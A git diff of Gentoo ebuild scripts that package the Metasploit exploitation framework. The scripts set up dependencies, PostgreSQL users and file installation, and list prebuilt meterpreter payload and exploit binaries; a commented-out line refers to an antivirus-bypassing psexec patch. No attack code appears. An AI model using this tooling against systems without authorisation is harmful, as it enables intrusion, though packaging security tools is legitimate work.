S="${WORKDIR}"/msf3 +fi + +#ruby20 doesn't have wide enough support in gentoo yet (but is semi-supported upstream) +USE_RUBY="ruby19" +inherit eutils ruby-ng + +DESCRIPTION="Advanced open-source framework for developing, testing, and using vulnerability exploit code" +HOMEPAGE="http://www.metasploit.org/" +SLOT="4.9" +LICENSE="BSD" +IUSE="development +java lorcon oracle +pcap test" + +#multiple known bugs with tests reported upstream and ignored +#http://dev.metasploit.com/redmine/issues/8418 - worked around (fix user creation when possible) +RESTRICT="test" + +RUBY_COMMON_DEPEND="virtual/ruby-ssl + =dev-ruby/rkelly-remix-0.0.6 + dev-ruby/bcrypt-ruby + dev-ruby/activesupport:3.2 + dev-ruby/activerecord:3.2 + dev-ruby/json + =dev-ruby/metasploit_data_models-0.17.0 + dev-ruby/msgpack + dev-ruby/nokogiri + dev-ruby/sqlite3 + dev-ruby/builder:3 + >=dev-ruby/pg-0.11 + =dev-ruby/packetfu-1.1.9 + dev-ruby/rb-readline + dev-ruby/robots + dev-ruby/kissfft + java? ( dev-ruby/rjb ) + lorcon? ( net-wireless/lorcon[ruby] ) + oracle? ( dev-ruby/ruby-oci8 ) + pcap? ( dev-ruby/pcaprub + dev-ruby/network_interface ) + dev-ruby/bundler + development? ( dev-ruby/fivemat + dev-ruby/redcarpet + dev-ruby/yard + >=dev-ruby/rake-10.0.0 + >=dev-ruby/factory_girl-4.1.0 )" +ruby_add_bdepend "${RUBY_COMMON_DEPEND} + test? ( >=dev-ruby/factory_girl-4.1.0 + dev-ruby/fivemat + dev-ruby/database_cleaner + >=dev-ruby/rspec-2.12 + dev-ruby/shoulda-matchers + dev-ruby/timecop + >=dev-ruby/rake-10.0.0 )" +ruby_add_rdepend "${RUBY_COMMON_DEPEND}" + +COMMON_DEPEND="dev-db/postgresql[server] + >=app-crypt/johntheripper-1.7.9-r1[-minimal] + net-analyzer/nmap" +DEPEND+=" ${COMMON_DEPEND}" +RDEPEND+=" ${COMMON_DEPEND} + >=app-eselect/eselect-metasploit-0.13" + +RESTRICT="strip" + +QA_PREBUILT=" + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_linux.bin + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_armle_linux.bin + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_solaris.bin + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x64_linux.bin + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_bsd.bin + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_mipsbe_linux.bin + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_mipsle_linux.bin + usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/msflinker_linux_x86.bin + usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_sniffer.lso + usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_networkpug.lso + usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_stdapi.lso + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_linux.bin + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_armle_linux.bin + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_solaris.bin + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x64_linux.bin + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_bsd.bin + usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/msflinker_linux_x86.bin + usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_sniffer.lso + usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_networkpug.lso + usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_stdapi.lso + usr/$(get_libdir)/${PN}${SLOT}/data/exploits/CVE-2013-2171.bin + " + +pkg_setup() { + if use test; then + su postgres -c "dropdb msf_test_database" #this is intentionally allowed to fail + su postgres -c "createuser msf_test_user -d -S -R" + if [ $? -ne 0 ]; then + su postgres -c "dropuser msf_test_user" || die + su postgres -c "createuser msf_test_user -d -S -R" || die + fi + su postgres -c "createdb --owner=msf_test_user msf_test_database" || die + fi + ruby-ng_pkg_setup +} + +all_ruby_unpack() { + if [[ ${PV} == "9999" ]] ; then + git-r3_src_unpack + else + default_src_unpack + mv "${WORKDIR}"/all/msf3/* "${WORKDIR}"/all + rm -r msf3 + fi +} + +all_ruby_prepare() { + # add psexec patch from pull request 2657 to allow custom exe templates from any files, bypassing most AVs + #epatch "${FILESDIR}/agix_psexec_pull-2657.patch" + epatch_user + + #unbundle johntheripper, at least it now defaults to running the system version + rm -r data/john/run.* + rm -r data/john/src.tar.bz2 + #remove random "cpuinfo" binaries which a only needed to detect which bundled john to run + rm -r data/cpuinfo + + #remove random oudated collected garbage + rm -r external + + #remove unneeded ruby bundler versioning files + #Gemfile.lock contains the versions tested by the msf team but not the hard requirements + #we regen this file in each_ruby_prepare + rm Gemfile.lock + #The Gemfile contains real known deps + #add our dep on upstream rb-readline instead of bundled one + sed -i "/gem 'packetfu'/a #use upstream readline instead of bundled\ngem 'rb-readline'" Gemfile || die + sed -i "/gem 'fivemat'/s/, '1.2.1'//" Gemfile || die + #remove the bundled readline + #https://github.com/rapid7/metasploit-framework/pull/3105 + #this PR was closed due to numerous changes to their local fork, almost entirely for non-linux + rm lib/rbreadline.rb + #now we edit the Gemfile based on use flags + #even if we pass --without=blah bundler still calculates the deps and messes us up + if ! use pcap; then + sed -i -e "/^group :pcap do/,/^end$/d" Gemfile || die + fi + if ! use development; then + sed -i -e "/^group :development do/,/^end$/d" Gemfile || die + fi + if ! use test; then + sed -i -e "/^group :test/,/^end$/d" Gemfile || die + fi + if ! use test && ! use development; then + sed -i -e "/^group :development/,/^end$/d" Gemfile || die + fi + if use test; then + #We don't need simplecov + sed -i -e "s#gem 'simplecov', '0.5.4', :require => false##" Gemfile || die + sed -i -e "s#require 'simplecov'##" spec/spec_helper.rb || die + fi + + #let's bogart msfupdate + rm msfupdate + echo "#!/bin/sh" > msfupdate + echo "echo \"[*]\"" >> msfupdate + echo "echo \"[*] Attempting to update the Metasploit Framework...\"" >> msfupdate + echo "echo \"[*]\"" >> msfupdate + echo "echo \"\"" >> msfupdate + if [[ ${PV} == "9999" ]] ; then + echo "emerge --oneshot \"=${CATEGORY}/${PF}\"" >> msfupdate + else + echo "echo \"Unable to update tagged version of metasploit.\"" >> msfupdate + echo "echo \"If you want the latest please install and eselect the live version (metasploit9999)\"" >> msfupdate + echo "echo \"emerge metasploit:9999 -vat && eselect metasploit set metasploit9999\"" >> msfupdate + fi + #this is set executable in src_install + + #install our database.yml file before tests are run + cp "${FILESDIR}"/database.yml config/ + +} + +each_ruby_prepare() { + ${RUBY} -S bundle install --local || die + ${RUBY} -S bundle check || die + + #force all metasploit executables to ruby19, ruby18 is not supported anymore and ruby20 is not supported yet + #https://dev.metasploit.com/redmine/issues/8357 + for file in $(ls -1 msf*) + do + #poorly adapted from python.eclass + sed -e "1s:^#![[:space:]]*\([^[:space:]]*/usr/bin/env[[:space:]]\)\?[[:space:]]*\([^[:space:]]*/\)\?ruby\([[:digit:]]\+\(\.[[:digit:]]\+\)\?\)\?\(\$\|[[:space:]].*\):#!\1\2${RUBY}:" -i "${file}" || die "Conversion of shebang in '${file}' failed" + done +} + +each_ruby_test() { + #review dev-python/pymongo for ways to make the test compatible with FEATURES=network-sandbox + + #we bogart msfupdate so no point in trying to test it + rm spec/msfupdate_spec.rb || die + #we don't really want to be uploading to virustotal during the tests + rm spec/tools/virustotal_spec.rb || die + + # https://dev.metasploit.com/redmine/issues/8425 + ${RUBY} -S bundle exec rake db:create || die + ${RUBY} -S bundle exec rake db:migrate || die + + MSF_DATABASE_CONFIG=config/database.yml ${RUBY} -S bundle exec rake || die + su postgres -c "dropuser msf_test_user" || die "failed to cleanup msf_test-user" +} + +each_ruby_install() { + #Tests have already been run, we don't need this stuff + rm -r spec || die + rm -r test || die + rm Gemfile.lock || die + + #I'm 99% sure that this will only work for as long as we only support one ruby version. Creativity will be needed if we wish to support multiple. + # should be as simple as copying everything into the target... + dodir /usr/$(get_libdir)/${PN}${SLOT} + cp -R * "${ED}"/usr/$(get_libdir)/${PN}${SLOT} || die "Copy files failed" + rm -Rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/documentation "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/README.md + fowners -R root:0 / + +} + +all_ruby_install() { + # do not remove LICENSE, bug #238137 + dodir /usr/share/doc/${PF} + cp -R {documentation,README.md} "${ED}"/usr/share/doc/${PF} || die + dosym /usr/share/doc/${PF}/documentation /usr/$(get_libdir)/${PN}${SLOT}/documentation + + fperms +x /usr/$(get_libdir)/${PN}${SLOT}/msfupdate + + #tell revdep-rebuild to ignore binaries meant for the target + dodir /etc/revdep-rebuild + cat <<-EOF > "${ED}"/etc/revdep-rebuild/99-metasploit${SLOT} + #These dirs contain prebuilt binaries for running on the TARGET not the HOST + SEARCH_DIRS_MASK="/usr/lib*/${PN}${SLOT}/data/meterpreter" + SEARCH_DIRS_MASK="/usr/lib*/${PN}${SLOT}/data/exploits" + EOF +} + +pkg_postinst() { + elog "Before use you should run 'env-update' and '. /etc/profile'" + elog "otherwise you may be missing important environmental variables." + + elog "You need to prepare the database by running:" + elog "emerge --config postgresql-server" + elog "/etc/init.d/postgresql- start" + elog "emerge --config =metasploit-${PV}" + + "${EROOT}"/usr/bin/eselect metasploit set --use-old ${PN}${SLOT} + + einfo + elog "Adjust /usr/lib/${PN}${SLOT}/config/database.yml if necessary" +} + +pkg_config() { + einfo "If the following fails, it is likely because you forgot to start/config postgresql first" + su postgres -c "createuser msf_user -D -S -R" + su postgres -c "createdb --owner=msf_user msf_database" +} diff --git a/net-analyzer/metasploit/metasploit-9999.ebuild b/net-analyzer/metasploit/metasploit-9999.ebuild new file mode 100644 index 00000000000..38ea5e220bf --- /dev/null +++ b/net-analyzer/metasploit/metasploit-9999.ebuild @@ -0,0 +1,274 @@ +# Copyright 1999-2015 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Id$ + +EAPI="5" + +if [[ ${PV} == "9999" ]] ; then + EGIT_REPO_URI="https://github.com/rapid7/metasploit-framework.git" + EGIT_CHECKOUT_DIR="${WORKDIR}"/all + inherit git-r3 + KEYWORDS="" +else + #https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version + SRC_URI="http://downloads.metasploit.com/data/releases/archive/framework-${PV}.tar.bz2" + KEYWORDS="~amd64 ~arm ~x86" + S="${WORKDIR}"/msf3 +fi + +#ruby20 doesn't have wide enough support in gentoo yet (but is semi-supported upstream) +USE_RUBY="ruby19" +inherit eutils ruby-ng + +DESCRIPTION="Advanced open-source framework for developing, testing, and using vulnerability exploit code" +HOMEPAGE="http://www.metasploit.org/" +SLOT="9999" +LICENSE="BSD" +IUSE="development +java lorcon oracle +pcap test" + +#multiple known bugs with tests reported upstream and ignored +#http://dev.metasploit.com/redmine/issues/8418 - worked around (fix user creation when possible) +RESTRICT="test" + +RUBY_COMMON_DEPEND="virtual/ruby-ssl + dev-ruby/activesupport:3.2 + dev-ruby/activerecord:3.2 + dev-ruby/bcrypt-ruby + dev-ruby/builder:3 + dev-ruby/bundler + dev-ruby/json + dev-ruby/kissfft + =dev-ruby/metasploit_data_models-0.17.0 + =dev-ruby/meterpreter_bins-0.0.6 + dev-ruby/msgpack + dev-ruby/nokogiri + =dev-ruby/rkelly-remix-0.0.6 + dev-ruby/sqlite3 + >=dev-ruby/pg-0.11 + =dev-ruby/packetfu-1.1.9 + dev-ruby/rb-readline + dev-ruby/robots + java? ( dev-ruby/rjb ) + lorcon? ( net-wireless/lorcon[ruby] ) + oracle? ( dev-ruby/ruby-oci8 ) + pcap? ( dev-ruby/pcaprub + dev-ruby/network_interface ) + development? ( dev-ruby/fivemat + dev-ruby/redcarpet + dev-ruby/yard + >=dev-ruby/rake-10.0.0 + >=dev-ruby/factory_girl-4.1.0 )" +ruby_add_bdepend "${RUBY_COMMON_DEPEND} + test? ( >=dev-ruby/factory_girl-4.1.0 + dev-ruby/fivemat + dev-ruby/database_cleaner + >=dev-ruby/rspec-2.12 + dev-ruby/shoulda-matchers + dev-ruby/timecop + >=dev-ruby/rake-10.0.0 )" +ruby_add_rdepend "${RUBY_COMMON_DEPEND}" + +COMMON_DEPEND="dev-db/postgresql[server] + >=app-crypt/johntheripper-1.7.9-r1[-minimal] + net-analyzer/nmap" +DEPEND+=" ${COMMON_DEPEND}" +RDEPEND+=" ${COMMON_DEPEND} + >=app-eselect/eselect-metasploit-0.13" + +RESTRICT="strip" + +QA_PREBUILT=" + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_linux.bin + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_armle_linux.bin + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_solaris.bin + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x64_linux.bin + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_bsd.bin + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_mipsbe_linux.bin + usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_mipsle_linux.bin + usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/msflinker_linux_x86.bin + usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_sniffer.lso + usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_networkpug.lso + usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_stdapi.lso + usr/$(get_libdir)/${PN}${SLOT}/data/exploits/CVE-2013-2171.bin + usr/$(get_libdir)/${PN}${SLOT}/data/android/libs/x86/libndkstager.so + usr/$(get_libdir)/${PN}${SLOT}/data/android/libs/mips/libndkstager.so + usr/$(get_libdir)/${PN}${SLOT}/data/android/libs/armeabi/libndkstager.so + " + +pkg_setup() { + if use test; then + su postgres -c "dropdb msf_test_database" #this is intentionally allowed to fail + su postgres -c "createuser msf_test_user -d -S -R" + if [ $? -ne 0 ]; then + su postgres -c "dropuser msf_test_user" || die + su postgres -c "createuser msf_test_user -d -S -R" || die + fi + su postgres -c "createdb --owner=msf_test_user msf_test_database" || die + fi + ruby-ng_pkg_setup +} + +all_ruby_unpack() { + if [[ ${PV} == "9999" ]] ; then + git-r3_src_unpack + else + default_src_unpack + mv "${WORKDIR}"/all/msf3/* "${WORKDIR}"/all + rm -r msf3 + fi +} + +all_ruby_prepare() { + # add psexec patch from pull request 2657 to allow custom exe templates from any files, bypassing most AVs + #epatch "${FILESDIR}/agix_psexec_pull-2657.patch" + epatch_user + + #unbundle johntheripper, at least it now defaults to running the system version + rm -r data/john/run.* + rm -r data/john/src.tar.bz2 + #remove random "cpuinfo" binaries which a only needed to detect which bundled john to run + rm -r data/cpuinfo + + #remove random oudated collected garbage + rm -r external + + #remove unneeded ruby bundler versioning files + #Gemfile.lock contains the versions tested by the msf team but not the hard requirements + #we regen this file in each_ruby_prepare + rm Gemfile.lock + #The Gemfile contains real known deps + #add our dep on upstream rb-readline instead of bundled one + sed -i "/gem 'packetfu'/a #use upstream readline instead of bundled\ngem 'rb-readline'" Gemfile || die + sed -i "/gem 'fivemat'/s/, '1.2.1'//" Gemfile || die + #remove the bundled readline + #https://github.com/rapid7/metasploit-framework/pull/3105 + #this PR was closed due to numerous changes to their local fork, almost entirely for non-linux + rm lib/rbreadline.rb + #now we edit the Gemfile based on use flags + #even if we pass --without=blah bundler still calculates the deps and messes us up + if ! use pcap; then + sed -i -e "/^group :pcap do/,/^end$/d" Gemfile || die + fi + if ! use development; then + sed -i -e "/^group :development do/,/^end$/d" Gemfile || die + fi + if ! use test; then + sed -i -e "/^group :test/,/^end$/d" Gemfile || die + fi + if ! use test && ! use development; then + sed -i -e "/^group :development/,/^end$/d" Gemfile || die + fi + if use test; then + #We don't need simplecov + sed -i -e "s#gem 'simplecov', '0.5.4', :require => false##" Gemfile || die + sed -i -e "s#require 'simplecov'##" spec/spec_helper.rb || die + fi + + #let's bogart msfupdate + rm msfupdate + echo "#!/bin/sh" > msfupdate + echo "echo \"[*]\"" >> msfupdate + echo "echo \"[*] Attempting to update the Metasploit Framework...\"" >> msfupdate + echo "echo \"[*]\"" >> msfupdate + echo "echo \"\"" >> msfupdate + if [[ ${PV} == "9999" ]] ; then + echo "if [ -x /usr/bin/smart-live-rebuild ]; then" >> msfupdate + echo " smart-live-rebuild -f net-analyzer/metasploit" >> msfupdate + echo "else" >> msfupdate + echo " echo \"Please install app-portage/smart-live-rebuild for a better experience.\"" >> msfupdate + echo "emerge --oneshot \"=${CATEGORY}/${PF}\"" >> msfupdate + echo "fi" >> msfupdate + else + echo "echo \"Unable to update tagged version of metasploit.\"" >> msfupdate + echo "echo \"If you want the latest please install and eselect the live version (metasploit9999)\"" >> msfupdate + echo "echo \"emerge metasploit:9999 -vat && eselect metasploit set metasploit9999\"" >> msfupdate + fi + #this is set executable in src_install + + #install our database.yml file before tests are run + cp "${FILESDIR}"/database.yml config/ + +} + +each_ruby_prepare() { + BUNDLE_GEMFILE=Gemfile ${RUBY} -S bundle install --local || die + BUNDLE_GEMFILE=Gemfile ${RUBY} -S bundle check || die + + #force all metasploit executables to ruby19, ruby18 is not supported anymore and ruby20 is not supported yet + #https://dev.metasploit.com/redmine/issues/8357 + for file in $(ls -1 msf*) + do + #poorly adapted from python.eclass + sed -e "1s:^#![[:space:]]*\([^[:space:]]*/usr/bin/env[[:space:]]\)\?[[:space:]]*\([^[:space:]]*/\)\?ruby\([[:digit:]]\+\(\.[[:digit:]]\+\)\?\)\?\(\$\|[[:space:]].*\):#!\1\2${RUBY}:" -i "${file}" || die "Conversion of shebang in '${file}' failed" + done +} + +each_ruby_test() { + #review dev-python/pymongo for ways to make the test compatible with FEATURES=network-sandbox + + #we bogart msfupdate so no point in trying to test it + rm spec/msfupdate_spec.rb || die + #we don't really want to be uploading to virustotal during the tests + rm spec/tools/virustotal_spec.rb || die + + # https://dev.metasploit.com/redmine/issues/8425 + BUNDLE_GEMFILE=Gemfile ${RUBY} -S bundle exec rake db:create || die + BUNDLE_GEMFILE=Gemfile ${RUBY} -S bundle exec rake db:migrate || die + + MSF_DATABASE_CONFIG=config/database.yml BUNDLE_GEMFILE=Gemfile ${RUBY} -S bundle exec rake || die + su postgres -c "dropuser msf_test_user" || die "failed to cleanup msf_test-user" +} + +each_ruby_install() { + #Tests have already been run, we don't need this stuff + rm -r spec || die + rm -r test || die + rm Gemfile.lock || die + + #I'm 99% sure that this will only work for as long as we only support one ruby version. Creativity will be needed if we wish to support multiple. + # should be as simple as copying everything into the target... + dodir /usr/$(get_libdir)/${PN}${SLOT} + cp -R * "${ED}"/usr/$(get_libdir)/${PN}${SLOT} || die "Copy files failed" + rm -Rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/documentation "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/README.md + fowners -R root:0 / + +} + +all_ruby_install() { + # do not remove LICENSE, bug #238137 + dodir /usr/share/doc/${PF} + cp -R {documentation,README.md} "${ED}"/usr/share/doc/${PF} || die + dosym /usr/share/doc/${PF}/documentation /usr/$(get_libdir)/${PN}${SLOT}/documentation + + fperms +x /usr/$(get_libdir)/${PN}${SLOT}/msfupdate + + #tell revdep-rebuild to ignore binaries meant for the target + dodir /etc/revdep-rebuild + cat <<-EOF > "${ED}"/etc/revdep-rebuild/99-metasploit${SLOT} + #These dirs contain prebuilt binaries for running on the TARGET not the HOST + SEARCH_DIRS_MASK="/usr/lib*/${PN}${SLOT}/data/meterpreter" + SEARCH_DIRS_MASK="/usr/lib*/${PN}${SLOT}/data/exploits" + SEARCH_DIRS_MASK="/usr/lib*/${PN}${SLOT}/data/android/libs" + EOF +} + +pkg_postinst() { + elog "Before use you should run 'env-update' and '. /etc/profile'" + elog "otherwise you may be missing important environmental variables." + + elog "You need to prepare the database by running:" + elog "emerge --config postgresql-server" + elog "/etc/init.d/postgresql- start" + elog "emerge --config =metasploit-${PV}" + + "${EROOT}"/usr/bin/eselect metasploit set --use-old ${PN}${SLOT} + + einfo + elog "Adjust /usr/lib/${PN}${SLOT}/config/database.yml if necessary" +} + +pkg_config() { + einfo "If the following fails, it is likely because you forgot to start/config postgresql first" + su postgres -c "createuser msf_user -D -S -R" + su postgres -c "createdb --owner=msf_user msf_database" +} -- cgit v1.2.1